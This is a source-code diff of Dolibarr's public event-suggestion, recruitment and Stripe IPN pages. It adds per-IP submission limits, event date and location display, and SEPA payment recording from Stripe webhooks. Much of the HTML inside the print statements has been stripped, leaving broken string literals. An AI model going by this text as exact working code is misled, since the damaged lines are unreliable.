DOL_DOCUMENT_ROOT.'/core/class/html.formcompany.class.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/date.lib.php'; global $dolibarr_main_url_root; @@ -361,7 +360,41 @@ if (empty($reshook) && $action == 'add') { $conforbooth->datep2 = $dateend; $conforbooth->datec = dol_now(); $conforbooth->tms = dol_now(); - $resultconforbooth = $conforbooth->create($user); + $conforbooth->ip = getUserRemoteIP(); + + $nb_post_max = getDolGlobalInt("MAIN_SECURITY_MAX_POST_ON_PUBLIC_PAGES_BY_IP_ADDRESS", 200); + $now = dol_now(); + $minmonthpost = dol_time_plus_duree($now, -1, "m"); + + // Calculate nb of post for IP + $nb_post_ip = 0; + if ($nb_post_max > 0) { // Calculate only if there is a limit to check + $sql = "SELECT COUNT(ref) as nb_confs"; + $sql .= " FROM ".MAIN_DB_PREFIX."actioncomm"; + $sql .= " WHERE ip = '".$db->escape($conforbooth->ip)."'"; + $sql .= " AND datec > '".$db->idate($minmonthpost)."'"; + $resql = $db->query($sql); + if ($resql) { + $num = $db->num_rows($resql); + $i = 0; + while ($i < $num) { + $i++; + $obj = $db->fetch_object($resql); + $nb_post_ip = $obj->nb_confs; + } + } + } + + $resultconforbooth = 0; + + if ($nb_post_max > 0 && $nb_post_ip >= $nb_post_max) { + $error++; + $errmsg .= $langs->trans("AlreadyTooMuchPostOnThisIPAdress"); + array_push($conforbooth->errors, $langs->trans("AlreadyTooMuchPostOnThisIPAdress")); + setEventMessage($errmsg, 'errors'); + } else { + $resultconforbooth = $conforbooth->create($user); + } if ($resultconforbooth<=0) { $error++; $errmsg .= $conforbooth->error; @@ -442,6 +475,7 @@ if (empty($reshook) && $action == 'add') { } } } + if (!$error) { $db->commit(); @@ -507,30 +541,61 @@ $formcompany = new FormCompany($db); llxHeaderVierge($langs->trans("NewSuggestionOfBooth")); + +print '
      '; +print '
      '; + print '
      '; // Event summary print '
      '; -print ''.$project->title.'
      '; -print img_picto('', 'calendar', 'class="pictofixedwidth"').$langs->trans("Date").': '; -print dol_print_date($project->date_start, 'daytext'); -if ($project->date_end && $project->date_start != $project->date_end) { - print ' - '.dol_print_date($project->date_end, 'daytext'); -} +print ''.dol_escape_htmltag($project->title . ' '. $project->label).'
      '; print '

      '."\n"; -//print $langs->trans("EvntOrgRegistrationWelcomeMessage")."\n"; -//print $project->note_public."\n"; +print ''.$langs->trans("EvntOrgRegistrationWelcomeMessage")."\n"; +print $project->note_public."\n"; //print img_picto('', 'map-marker-alt').$langs->trans("Location").': xxxx'; print '
      '; +// Help text +print '
      '; + +if ($project->date_start_event || $project->date_end_event) { + print '
      '; +} +if ($project->date_start_event) { + $format = 'day'; + $tmparray = dol_getdate($project->date_start_event, false, ''); + if ($tmparray['hours'] || $tmparray['minutes'] || $tmparray['minutes']) { + $format = 'dayhour'; + } + print dol_print_date($project->date_start_event, $format); +} +if ($project->date_start_event && $project->date_end_event) { + print ' - '; +} +if ($project->date_end_event) { + $format = 'day'; + $tmparray = dol_getdate($project->date_end_event, false, ''); + if ($tmparray['hours'] || $tmparray['minutes'] || $tmparray['minutes']) { + $format = 'dayhour'; + } + print dol_print_date($project->date_end_event, $format); +} +if ($project->date_start_event || $project->date_end_event) { + print '
      '; +} +if ($project->location) { + print ''.dol_escape_htmltag($project->location).'
      '; +} + +print '
      '; + +print '
      '; + print load_fiche_titre($langs->trans("NewSuggestionOfBooth"), '', '', 0, 0, 'center'); -print '
      '; -print '
      '; -print '
      '; - dol_htmloutput_errors($errmsg); // Print form @@ -541,7 +606,6 @@ print ''; print ''; print ''; -print '
      '; print '
      '.$langs->trans("FieldsWithAreMandatory", '*').'
      '; //print $langs->trans("FieldsWithIsForPublic",'**').'
      '; @@ -562,13 +626,13 @@ jQuery(document).ready(function () { print '
      '.$langs->trans("Lastname").' *
      '.$langs->trans("Lastname").' *
      '.$langs->trans("Firstname").' *
      '.$langs->trans("Firstname").' *
      '.$langs->trans("Email").' *
      '.$langs->trans("Email").' *
      '.$langs->trans("Company").'
      '.$langs->trans("Message").' *'.$langs->trans("Message").' *
      '."\n"; // Name -print ''; +print ''; print ''; print ''; // Email -print ''."\n"; +print ''."\n"; // Company -print ''."\n"; // Address print ''; // Country print ''; } // Type of event -print ''."\n"; +print ''."\n"; print ''; // Label -print ''."\n"; +print ''."\n"; print ''."\n"; // Note -print ''."\n"; +print ''."\n"; print ''."\n"; print "
      lastname).'" autofocus="autofocus">
      '.$langs->trans("Email").'*
      '.$langs->trans("Email").'*
      '.$langs->trans("Company").'*'; +print '
      '.$langs->trans("Company").'*'; print '
      '.$langs->trans("Address").''."\n"; @@ -581,8 +645,7 @@ print $formcompany->select_ziptown(GETPOST('town'), 'town', array('zipcode', 'se print '
      '.$langs->trans('Country'); -print '*'; - +print '*'; print ''; $country_id = GETPOST('country_id'); if (!$country_id && !empty($conf->global->MEMBER_NEWFORM_FORCECOUNTRYCODE)) { @@ -613,13 +676,13 @@ if (empty($conf->global->SOCIETE_DISABLE_STATE)) { print '
      '.$langs->trans("Format").'*
      '.$langs->trans("Format").'*'.Form::selectarray('eventtype', $arrayofconfboothtype, $eventtype, 1).'
      '.$langs->trans("LabelOfBooth").'*
      '.$langs->trans("LabelOfBooth").'*
      '.$langs->trans("Description").'*
      '.$langs->trans("Description").'*
      \n"; @@ -635,7 +698,6 @@ print '
      '; print '

      '; - print "\n"; print "
      "; print '
      '; diff --git a/htdocs/public/project/suggestconference.php b/htdocs/public/project/suggestconference.php index f0b9299f980..9418e7640eb 100644 --- a/htdocs/public/project/suggestconference.php +++ b/htdocs/public/project/suggestconference.php @@ -33,9 +33,7 @@ if (!defined('NOIPCHECK')) { if (!defined('NOBROWSERNOTIF')) { define('NOBROWSERNOTIF', '1'); } -if (!defined('NOIPCHECK')) { - define('NOIPCHECK', '1'); // Do not check IP defined into conf $dolibarr_main_restrict_ip -} + // For MultiCompany module. // Do not use GETPOST here, function is not defined and define must be done before including main.inc.php @@ -56,6 +54,7 @@ require_once DOL_DOCUMENT_ROOT.'/categories/class/categorie.class.php'; require_once DOL_DOCUMENT_ROOT.'/compta/facture/class/facture.class.php'; require_once DOL_DOCUMENT_ROOT.'/compta/facture/class/paymentterm.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/class/html.formcompany.class.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/date.lib.php'; global $dolibarr_main_url_root; @@ -71,8 +70,8 @@ $email = GETPOST("email"); $societe = GETPOST("societe"); $label = GETPOST("label"); $note = GETPOST("note"); -$datestart = GETPOST("datestart"); -$dateend = GETPOST("dateend"); +$datestart = dol_mktime(0, 0, 0, GETPOST('datestartmonth', 'int'), GETPOST('datestartday', 'int'), GETPOST('datestartyear', 'int')); +$dateend = dol_mktime(23, 59, 59, GETPOST('dateendmonth', 'int'), GETPOST('dateendday', 'int'), GETPOST('dateendyear', 'int')); $id = GETPOST('id'); @@ -359,7 +358,41 @@ if (empty($reshook) && $action == 'add') { $conforbooth->tms = dol_now(); $conforbooth->firstname = $contact->firstname; $conforbooth->lastname = $contact->lastname; - $resultconforbooth = $conforbooth->create($user); + $conforbooth->ip = getUserRemoteIP(); + + $nb_post_max = getDolGlobalInt("MAIN_SECURITY_MAX_POST_ON_PUBLIC_PAGES_BY_IP_ADDRESS", 200); + $now = dol_now(); + $minmonthpost = dol_time_plus_duree($now, -1, "m"); + + // Calculate nb of post for IP + $nb_post_ip = 0; + if ($nb_post_max > 0) { // Calculate only if there is a limit to check + $sql = "SELECT COUNT(ref) as nb_confs"; + $sql .= " FROM ".MAIN_DB_PREFIX."actioncomm"; + $sql .= " WHERE ip = '".$db->escape($conforbooth->ip)."'"; + $sql .= " AND datec > '".$db->idate($minmonthpost)."'"; + $resql = $db->query($sql); + if ($resql) { + $num = $db->num_rows($resql); + $i = 0; + while ($i < $num) { + $i++; + $obj = $db->fetch_object($resql); + $nb_post_ip = $obj->nb_confs; + } + } + } + + $resultconforbooth = 0; + + if ($nb_post_max > 0 && $nb_post_ip >= $nb_post_max) { + $error++; + $errmsg .= $langs->trans("AlreadyTooMuchPostOnThisIPAdress"); + array_push($conforbooth->errors, $langs->trans("AlreadyTooMuchPostOnThisIPAdress")); + setEventMessage($errmsg, 'errors'); + } else { + $resultconforbooth = $conforbooth->create($user); + } if ($resultconforbooth<=0) { $error++; $errmsg .= $conforbooth->error; @@ -419,6 +452,7 @@ if (empty($reshook) && $action == 'add') { } } } + if (!$error) { $db->commit(); $securekeyurl = dol_hash($conf->global->EVENTORGANIZATION_SECUREKEY.'conferenceorbooth'.$id, 2); @@ -440,29 +474,60 @@ $formcompany = new FormCompany($db); llxHeaderVierge($langs->trans("NewSuggestionOfConference")); + +print '
      '; +print '
      '; + print '
      '; // Event summary print '
      '; -print ''.$project->title.'
      '; -print img_picto('', 'calendar', 'class="pictofixedwidth"').$langs->trans("Date").': '; -print dol_print_date($project->date_start, 'daytext'); -if ($project->date_end && $project->date_start != $project->date_end) { - print ' - '.dol_print_date($project->date_end, 'daytext'); -} +print ''.dol_escape_htmltag($project->title . ' '. $project->label).'
      '; print '

      '."\n"; -//print $langs->trans("EvntOrgRegistrationWelcomeMessage")."\n"; -//print $project->note_public."\n"; +print ''.$langs->trans("EvntOrgRegistrationWelcomeMessage")."\n"; +print $project->note_public."\n"; //print img_picto('', 'map-marker-alt').$langs->trans("Location").': xxxx'; print '
      '; +// Help text +print '
      '; + +if ($project->date_start_event || $project->date_end_event) { + print '
      '; +} +if ($project->date_start_event) { + $format = 'day'; + $tmparray = dol_getdate($project->date_start_event, false, ''); + if ($tmparray['hours'] || $tmparray['minutes'] || $tmparray['minutes']) { + $format = 'dayhour'; + } + print dol_print_date($project->date_start_event, $format); +} +if ($project->date_start_event && $project->date_end_event) { + print ' - '; +} +if ($project->date_end_event) { + $format = 'day'; + $tmparray = dol_getdate($project->date_end_event, false, ''); + if ($tmparray['hours'] || $tmparray['minutes'] || $tmparray['minutes']) { + $format = 'dayhour'; + } + print dol_print_date($project->date_end_event, $format); +} +if ($project->date_start_event || $project->date_end_event) { + print '
      '; +} +if ($project->location) { + print ''.dol_escape_htmltag($project->location).'
      '; +} + +print '
      '; + +print '
      '; print load_fiche_titre($langs->trans("NewSuggestionOfConference"), '', '', 0, 0, 'center'); -print '
      '; -print '
      '; -print '
      '; dol_htmloutput_errors($errmsg, $errors); @@ -474,8 +539,6 @@ print ''; print ''; print ''; -print '
      '; - print '
      '.$langs->trans("FieldsWithAreMandatory", '*').'
      '; //print $langs->trans("FieldsWithIsForPublic",'**').'
      '; @@ -495,17 +558,17 @@ jQuery(document).ready(function () { print ''."\n"; // Last Name -print ''; +print ''; print ''; print ''; // First Name -print ''; +print ''; print ''; print ''; // Email -print ''."\n"; +print ''."\n"; // Company -print ''."\n"; // Address print ''; } // Type of event -print ''."\n"; +print ''."\n"; print ''; // Label -print ''."\n"; -print ''."\n"; +print ''."\n"; +print ''."\n"; // Note -print ''."\n"; -print ''."\n"; +print ''."\n"; +print ''."\n"; print "
      lastname).'" autofocus="autofocus">
      firstname).'" autofocus="autofocus">
      '.$langs->trans("Email").'*
      '.$langs->trans("Email").'*
      '.$langs->trans("Company").'*'; +print '
      '.$langs->trans("Company").'*'; print '
      '.$langs->trans("Address").''."\n"; @@ -547,14 +610,14 @@ if (empty($conf->global->SOCIETE_DISABLE_STATE)) { print '
      '.$langs->trans("Format").'*
      '.$langs->trans("Format").'*'.Form::selectarray('eventtype', $arrayofconfboothtype, $eventtype, 1).'
      '.$langs->trans("LabelOfconference").'*
      '.$langs->trans("LabelOfconference").'*
      '.$langs->trans("Description").'*
      '.$langs->trans("Description").'*
      \n"; diff --git a/htdocs/public/project/viewandvote.php b/htdocs/public/project/viewandvote.php index 1d9fc58c810..c4d840afbfc 100644 --- a/htdocs/public/project/viewandvote.php +++ b/htdocs/public/project/viewandvote.php @@ -51,9 +51,10 @@ require_once DOL_DOCUMENT_ROOT.'/societe/class/societeaccount.class.php'; require_once DOL_DOCUMENT_ROOT.'/compta/facture/class/facture.class.php'; require_once DOL_DOCUMENT_ROOT.'/projet/class/project.class.php'; require_once DOL_DOCUMENT_ROOT . '/comm/action/class/actioncomm.class.php'; + // Hook to be used by external payment modules (ie Payzen, ...) -include_once DOL_DOCUMENT_ROOT.'/core/class/hookmanager.class.php'; $hookmanager = new HookManager($db); + $hookmanager->initHooks(array('newpayment')); // For encryption @@ -293,7 +294,7 @@ print '
      '."\n"; $object = null; -htmlPrintOnlinePaymentFooter($mysoc, $langs, 1, $suffix, $object); +htmlPrintOnlineFooter($mysoc, $langs, 1, $suffix, $object); llxFooter('', 'public'); diff --git a/htdocs/public/recruitment/index.php b/htdocs/public/recruitment/index.php index bb135d54d50..7fa61c93cf7 100644 --- a/htdocs/public/recruitment/index.php +++ b/htdocs/public/recruitment/index.php @@ -16,7 +16,7 @@ */ /** - * \file htdocs/public/recruitment/view.php + * \file htdocs/public/recruitment/index.php * \ingroup recruitment * \brief Public file to show on job */ @@ -171,6 +171,7 @@ if (!empty($conf->global->RECRUITMENT_IMAGE_PUBLIC_INTERFACE)) { $results = $object->fetchAll($sortfield, $sortorder, 0, 0, array('status' => 1)); +$now = dol_now(); if (is_array($results)) { if (empty($results)) { @@ -251,7 +252,7 @@ if (is_array($results)) { } } print ''; - print $tmpuser->getFullName(-1); + print $tmpuser->getFullName($langs); print '   '.dol_print_email($emailforcontact, 0, 0, 1, 0, 0, 'envelope'); print ''; print '

      '; @@ -301,7 +302,7 @@ print '
      '."\n"; print '
      '; -htmlPrintOnlinePaymentFooter($mysoc, $langs); +htmlPrintOnlineFooter($mysoc, $langs); llxFooter('', 'public'); diff --git a/htdocs/public/recruitment/view.php b/htdocs/public/recruitment/view.php index 57cb82d9b08..0f7f7933e58 100644 --- a/htdocs/public/recruitment/view.php +++ b/htdocs/public/recruitment/view.php @@ -159,6 +159,8 @@ include DOL_DOCUMENT_ROOT.'/core/actions_sendmails.inc.php'; * View */ +$now = dol_now(); + $head = ''; if (!empty($conf->global->MAIN_RECRUITMENT_CSS_URL)) { $head = ''."\n"; @@ -201,7 +203,7 @@ $paramlogo = 'ONLINE_RECRUITMENT_LOGO_'.$suffix; if (!empty($conf->global->$paramlogo)) { $logosmall = $conf->global->$paramlogo; } elseif (!empty($conf->global->ONLINE_RECRUITMENT_LOGO)) { - $logosmall = $conf->global->ONLINE_RECRUITMENT_LOGO_; + $logosmall = $conf->global->ONLINE_RECRUITMENT_LOGO; } //print ''."\n"; // Define urllogo @@ -221,7 +223,7 @@ if ($urllogo) { if (!empty($mysoc->url)) { print ''; } - print ''; + print ''; if (!empty($mysoc->url)) { print ''; } @@ -234,7 +236,7 @@ if ($urllogo) { if (!empty($conf->global->RECRUITMENT_IMAGE_PUBLIC_INTERFACE)) { print '
      '; - print ''; + print ''; print '
      '; } @@ -348,7 +350,7 @@ print '
      '."\n"; print '
      '; -htmlPrintOnlinePaymentFooter($mysoc, $langs); +htmlPrintOnlineFooter($mysoc, $langs); llxFooter('', 'public'); diff --git a/htdocs/public/stripe/ipn.php b/htdocs/public/stripe/ipn.php index dd5b1db148f..7b4e559088e 100644 --- a/htdocs/public/stripe/ipn.php +++ b/htdocs/public/stripe/ipn.php @@ -34,6 +34,11 @@ if (is_numeric($entity)) { define("DOLENTITY", $entity); } +// So log file will have a suffix +if (!defined('USESUFFIXINLOG')) { + define('USESUFFIXINLOG', '_stripeipn'); +} + // Load Dolibarr environment require '../../main.inc.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/admin.lib.php'; @@ -43,9 +48,9 @@ require_once DOL_DOCUMENT_ROOT.'/commande/class/commande.class.php'; require_once DOL_DOCUMENT_ROOT.'/compta/paiement/class/paiement.class.php'; require_once DOL_DOCUMENT_ROOT.'/compta/facture/class/facture.class.php'; require_once DOL_DOCUMENT_ROOT.'/compta/bank/class/account.class.php'; +require_once DOL_DOCUMENT_ROOT.'/compta/prelevement/class/bonprelevement.class.php'; require_once DOL_DOCUMENT_ROOT.'/societe/class/societe.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/class/CMailFile.class.php'; - require_once DOL_DOCUMENT_ROOT.'/includes/stripe/stripe-php/init.php'; require_once DOL_DOCUMENT_ROOT.'/stripe/class/stripe.class.php'; @@ -73,7 +78,7 @@ if (isset($_GET['connect'])) { } } -if (empty($conf->stripe->enabled)) { +if (!isModEnabled('stripe')) { httponly_accessforbidden('Module Stripe not enabled'); } @@ -100,9 +105,19 @@ if (!empty($conf->global->STRIPE_USER_ACCOUNT_FOR_ACTIONS)) { */ $payload = @file_get_contents("php://input"); -$sig_header = $_SERVER["HTTP_STRIPE_SIGNATURE"]; +$sig_header = empty($_SERVER["HTTP_STRIPE_SIGNATURE"]) ? '' : $_SERVER["HTTP_STRIPE_SIGNATURE"]; $event = null; +if (getDolGlobalString('STRIPE_DEBUG')) { + $fh = fopen(DOL_DATA_ROOT.'/dolibarr_stripeipn_payload.log', 'w+'); + if ($fh) { + fwrite($fh, dol_print_date(dol_now('gmt'), 'standard').' IPN Called. HTTP_STRIPE_SIGNATURE='.$sig_header."\n"); + fwrite($fh, $payload); + fclose($fh); + dolChmod(DOL_DATA_ROOT.'/dolibarr_stripeipn_payload.log'); + } +} + $error = 0; try { @@ -112,6 +127,8 @@ try { httponly_accessforbidden('Invalid payload', 400); } catch (\Stripe\Error\SignatureVerification $e) { httponly_accessforbidden('Invalid signature', 400); +} catch (Exception $e) { + httponly_accessforbidden('Error '.$e->getMessage(), 400); } // Do something with $event @@ -122,7 +139,7 @@ $langs->load("main"); if (isModEnabled('multicompany') && !empty($conf->stripeconnect->enabled) && is_object($mc)) { $sql = "SELECT entity"; $sql .= " FROM ".MAIN_DB_PREFIX."oauth_token"; - $sql .= " WHERE service = '".$db->escape($service)."' and tokenstring LIKE '%".$db->escape($event->account)."%'"; + $sql .= " WHERE service = '".$db->escape($service)."' and tokenstring LIKE '%".$db->escape($db->escapeforlike($event->account))."%'"; dol_syslog(get_class($db)."::fetch", LOG_DEBUG); $result = $db->query($sql); @@ -196,7 +213,6 @@ if ($event->type == 'payout.created') { return -1; } } elseif ($event->type == 'payout.paid') { - global $conf; $error = 0; $result = dolibarr_set_const($db, $service."_NEXTPAYOUT", null, 'chaine', 0, '', $conf->entity); if ($result) { @@ -298,13 +314,217 @@ if ($event->type == 'payout.created') { $db->query($sql); $db->commit(); } elseif ($event->type == 'payment_intent.succeeded') { // Called when making payment with PaymentIntent method ($conf->global->STRIPE_USE_NEW_CHECKOUT is on). - // TODO: create fees - // TODO: Redirect to paymentok.php + //dol_syslog("object = ".var_export($event->data, true)); + include_once DOL_DOCUMENT_ROOT . '/compta/paiement/class/paiement.class.php'; + global $stripearrayofkeysbyenv; + $error = 0; + $object = $event->data->object; + $TRANSACTIONID = $object->id; + $ipaddress = $object->metadata->ipaddress; + $now = dol_now(); + $currencyCodeType = strtoupper($object->currency); + $paymentmethodstripeid = $object->payment_method; + $customer_id = $object->customer; + $invoice_id = ""; + $paymentTypeId = ""; + $payment_amount = 0; + + dol_syslog("Try to find the payment in database for the payment id = ".$TRANSACTIONID); + + $sql = "SELECT pi.fk_facture, pi.fk_prelevement_bons, pi.amount, pi.type"; + $sql .= " FROM llx_prelevement_demande as pi"; + $sql .= " WHERE pi.ext_payment_id = '".$db->escape($TRANSACTIONID)."'"; + $sql .= " AND pi.traite = '1'"; + $sql .= " AND pi.ext_payment_site = '".$db->escape($service)."'"; + + $result = $db->query($sql); + if ($result) { + $obj = $db->fetch_object($result); + if ($obj) { + $invoice_id = $obj->fk_facture; + $prelevement_bons_id = $obj->fk_prelevement_bons; + $payment_amount = $obj->amount; + $paymentTypeId = $obj->type; + } + } else { + http_response_code(500); + print $db->lasterror(); + return -1; + } + + $stripeacc = $stripearrayofkeysbyenv[$servicestatus]['secret_key']; + + dol_syslog("Get the Stripe payment object for the payment method id = ".json_encode($paymentmethodstripeid)); + + $s = new \Stripe\StripeClient($stripeacc); + + $paymentmethodstripe = $s->paymentMethods->retrieve($paymentmethodstripeid); + $paymentTypeId = $paymentmethodstripe->type; + if ($paymentTypeId == "ban" || $paymentTypeId == "sepa_debit") { + $paymentTypeId = "PRE"; + } elseif ($paymentTypeId == "card") { + $paymentTypeId = "CB"; + } + + if ($paymentTypeId == "PRE") { + $paiement = new Paiement($db); + $paiement->datepaye = $now; + $paiement->date = $now; + if ($currencyCodeType == $conf->currency) { + $paiement->amounts = [$invoice_id => $payment_amount]; // Array with all payments dispatching with invoice id + } else { + $paiement->multicurrency_amounts = [$invoice_id => $payment_amount]; // Array with all payments dispatching + + $postactionmessages[] = 'Payment was done in a different currency than currency expected of company'; + $ispostactionok = -1; + // Not yet supported, so error + $error++; + } + $paiement->paiementid = $paymentTypeId; + $paiement->num_payment = ''; + $paiement->note_public = ''; + $paiement->note_private = 'StripeSepa payment ' . dol_print_date($now, 'standard') . ' using ' . $servicestatus . ($ipaddress ? ' from ip ' . $ipaddress : '') . ' - Transaction ID = ' . $TRANSACTIONID; + $paiement->ext_payment_id = $TRANSACTIONID.':'.$customer_id.'@'.$stripearrayofkeysbyenv[$servicestatus]['publishable_key']; // May be we should store py_... instead of pi_... but we started with pi_... so we continue. + $paiement->ext_payment_site = $service; + + $ispaymentdone = 0; + $sql = "SELECT p.id FROM llx_paiement as p"; + $sql .= " WHERE p.ext_payment_id = '".$db->escape($paiement->ext_payment_id)."'"; + $sql .= " AND p.ext_payment_site = '".$db->escape($paiement->ext_payment_site)."'"; + $result = $db->query($sql); + if ($result) { + if ($db->num_rows($result)) { + $ispaymentdone = 1; + dol_syslog('* Payment for ext_payment_id '.$paiement->ext_payment_id.' already done. We do not recreate the payment'); + } + } + $db->begin(); + if (!$error && !$ispaymentdone) { + dol_syslog('* Record payment for invoice id ' . $invoice_id . '. It includes closing of invoice and regenerating document'); + + // This include closing invoices to 'paid' (and trigger including unsuspending) and regenerating document + $paiement_id = $paiement->create($user, 1); + if ($paiement_id < 0) { + $postactionmessages[] = $paiement->error . ($paiement->error ? ' ' : '') . join("
      \n", $paiement->errors); + $ispostactionok = -1; + $error++; + } else { + $postactionmessages[] = 'Payment created'; + } + + dol_syslog("The payment has been created for invoice id " . $invoice_id); + } + if (!$error && isModEnabled('banque')) { + $ispaymentdone = 0; + $sql = "SELECT p.id, p.fk_bank FROM llx_paiement as p"; + $sql .= " WHERE p.ext_payment_id = '".$db->escape($paiement->ext_payment_id)."'"; + $sql .= " AND p.ext_payment_site = '".$db->escape($paiement->ext_payment_site)."'"; + $sql .= " AND p.fk_bank <> 0"; + $result = $db->query($sql); + if ($result) { + if ($db->num_rows($result)) { + $ispaymentdone = 1; + $obj = $db->fetch_object($result); + dol_syslog('* Payment already linked to bank record '.$obj->fk_bank.' . We do not recrate the link'); + } + } + if (!$ispaymentdone) { + dol_syslog('* Add payment to bank'); + + // The bank used is the one defined into Stripe setup + $bankaccountid = getDolGlobalInt("STRIPE_BANK_ACCOUNT_FOR_PAYMENTS"); + + if ($bankaccountid > 0) { + $label = '(CustomerInvoicePayment)'; + $result = $paiement->addPaymentToBank($user, 'payment', $label, $bankaccountid, $customer_id, ''); + if ($result < 0) { + $postactionmessages[] = $paiement->error . ($paiement->error ? ' ' : '') . join("
      \n", $paiement->errors); + $ispostactionok = -1; + $error++; + } else { + $postactionmessages[] = 'Bank transaction of payment created (by makeStripeSepaRequest)'; + } + } else { + $postactionmessages[] = 'Setup of bank account to use in module ' . $paymentmethod . ' was not set. No way to record the payment.'; + $ispostactionok = -1; + $error++; + } + } + } + + if (!$error && isModEnabled('prelevement')) { + $bon = new BonPrelevement($db); + $idbon = 0; + $sql = "SELECT dp.fk_prelevement_bons as idbon"; + $sql .= " FROM ".MAIN_DB_PREFIX."prelevement_demande as dp"; + $sql .= " JOIN ".MAIN_DB_PREFIX."prelevement_bons as pb"; // Here we join to prevent modification of a prelevement bon already credited + $sql .= " ON pb.rowid = dp.fk_prelevement_bons"; + $sql .= " WHERE dp.fk_facture = ".((int) $invoice_id); + $sql .= " AND dp.sourcetype = 'facture'"; + $sql .= " AND dp.ext_payment_id = '".$db->escape($TRANSACTIONID)."'"; + $sql .= " AND dp.traite = 1"; + $sql .= " AND statut = ".((int) $bon::STATUS_TRANSFERED); // To be sure that it's not already credited + $result = $db->query($sql); + if ($result) { + if ($db->num_rows($result)) { + $obj = $db->fetch_object($result); + $idbon = $obj->idbon; + dol_syslog('* Set prelevement to credite'); + } else { + dol_syslog('* Prelevement not found or already credited'); + } + } else { + $postactionmessages[] = $db->lasterror(); + $ispostactionok = -1; + $error++; + } + + if (!$error && !empty($idbon)) { + $sql = "UPDATE ".MAIN_DB_PREFIX."prelevement_bons"; + $sql .= " SET fk_user_credit = ".((int) $user->id); + $sql .= ", statut = ".((int) $bon::STATUS_CREDITED); + $sql .= ", date_credit = '".$db->idate($now)."'"; + $sql .= ", credite = 1"; + $sql .= " WHERE rowid = ".((int) $idbon); + $sql .= " AND statut = ".((int) $bon::STATUS_TRANSFERED); + + $result = $db->query($sql); + if (!$result) { + $postactionmessages[] = $db->lasterror(); + $ispostactionok = -1; + $error++; + } + } + + if (!$error && !empty($idbon)) { + $sql = "UPDATE ".MAIN_DB_PREFIX."prelevement_lignes"; + $sql .= " SET statut = 2"; + $sql .= " WHERE fk_prelevement_bons = ".((int) $idbon); + $result = $db->query($sql); + if (!$result) { + $postactionmessages[] = $db->lasterror(); + $ispostactionok = -1; + $error++; + } + } + } + + if (!$error) { + $db->commit(); + http_response_code(200); + return 1; + } else { + $db->rollback(); + http_response_code(500); + return -1; + } + } else { + dol_syslog("The payment mode of this payment is ".$paymentTypeId.". This payment mode is not managed by the IPN"); + } } elseif ($event->type == 'payment_intent.payment_failed') { - // TODO: Redirect to paymentko.php + dol_syslog("A try to make a payment has failed"); } elseif ($event->type == 'checkout.session.completed') { // Called when making payment with new Checkout method ($conf->global->STRIPE_USE_NEW_CHECKOUT is on). // TODO: create fees - // TODO: Redirect to paymentok.php } elseif ($event->type == 'payment_method.attached') { require_once DOL_DOCUMENT_ROOT.'/societe/class/companypaymentmode.class.php'; require_once DOL_DOCUMENT_ROOT.'/societe/class/societeaccount.class.php'; @@ -313,7 +533,9 @@ if ($event->type == 'payout.created') { $companypaymentmode = new CompanyPaymentMode($db); $idthirdparty = $societeaccount->getThirdPartyID($db->escape($event->data->object->customer), 'stripe', $servicestatus); - if ($idthirdparty > 0) { // If the payment mode is on an external customer that is known in societeaccount, we can create the payment mode + if ($idthirdparty > 0) { + // If the payment mode attached is to a stripe account owned by an external customer in societe_account (so a thirdparty that has a Stripe account), + // we can create the payment mode $companypaymentmode->stripe_card_ref = $db->escape($event->data->object->id); $companypaymentmode->fk_soc = $idthirdparty; $companypaymentmode->bank = null; @@ -331,9 +553,44 @@ if ($event->type == 'payout.created') { $companypaymentmode->country_code = $db->escape($event->data->object->card->country); $companypaymentmode->status = $servicestatus; + // TODO Check that a payment mode $companypaymentmode->stripe_card_ref does not exists yet to avoid to create duplicates + // so we can remove the test on STRIPE_NO_DUPLICATE_CHECK + if (getDolGlobalString('STRIPE_NO_DUPLICATE_CHECK')) { + $db->begin(); + $result = $companypaymentmode->create($user); + if ($result < 0) { + $error++; + } + if (!$error) { + $db->commit(); + } else { + $db->rollback(); + } + } + } +} elseif ($event->type == 'payment_method.updated') { + require_once DOL_DOCUMENT_ROOT.'/societe/class/companypaymentmode.class.php'; + $companypaymentmode = new CompanyPaymentMode($db); + $companypaymentmode->fetch(0, '', 0, '', " AND stripe_card_ref = '".$db->escape($event->data->object->id)."'"); + if ($companypaymentmode->id > 0) { + // If we found a payment mode with the ID + $companypaymentmode->bank = null; + $companypaymentmode->label = null; + $companypaymentmode->number = $db->escape($event->data->object->id); + $companypaymentmode->last_four = $db->escape($event->data->object->card->last4); + $companypaymentmode->proprio = $db->escape($event->data->object->billing_details->name); + $companypaymentmode->exp_date_month = $db->escape($event->data->object->card->exp_month); + $companypaymentmode->exp_date_year = $db->escape($event->data->object->card->exp_year); + $companypaymentmode->cvn = null; + $companypaymentmode->datec = $db->escape($event->data->object->created); + $companypaymentmode->default_rib = 0; + $companypaymentmode->type = $db->escape($event->data->object->type); + $companypaymentmode->country_code = $db->escape($event->data->object->card->country); + $companypaymentmode->status = $servicestatus; + $db->begin(); if (!$error) { - $result = $companypaymentmode->create($user); + $result = $companypaymentmode->update($user); if ($result < 0) { $error++; } @@ -344,36 +601,6 @@ if ($event->type == 'payout.created') { $db->rollback(); } } -} elseif ($event->type == 'payment_method.updated') { - require_once DOL_DOCUMENT_ROOT.'/societe/class/companypaymentmode.class.php'; - $companypaymentmode = new CompanyPaymentMode($db); - $companypaymentmode->fetch(0, '', 0, '', " AND stripe_card_ref = '".$db->escape($event->data->object->id)."'"); - $companypaymentmode->bank = null; - $companypaymentmode->label = null; - $companypaymentmode->number = $db->escape($event->data->object->id); - $companypaymentmode->last_four = $db->escape($event->data->object->card->last4); - $companypaymentmode->proprio = $db->escape($event->data->object->billing_details->name); - $companypaymentmode->exp_date_month = $db->escape($event->data->object->card->exp_month); - $companypaymentmode->exp_date_year = $db->escape($event->data->object->card->exp_year); - $companypaymentmode->cvn = null; - $companypaymentmode->datec = $db->escape($event->data->object->created); - $companypaymentmode->default_rib = 0; - $companypaymentmode->type = $db->escape($event->data->object->type); - $companypaymentmode->country_code = $db->escape($event->data->object->card->country); - $companypaymentmode->status = $servicestatus; - - $db->begin(); - if (!$error) { - $result = $companypaymentmode->update($user); - if ($result < 0) { - $error++; - } - } - if (!$error) { - $db->commit(); - } else { - $db->rollback(); - } } elseif ($event->type == 'payment_method.detached') { $db->begin(); $sql = "DELETE FROM ".MAIN_DB_PREFIX."societe_rib WHERE number = 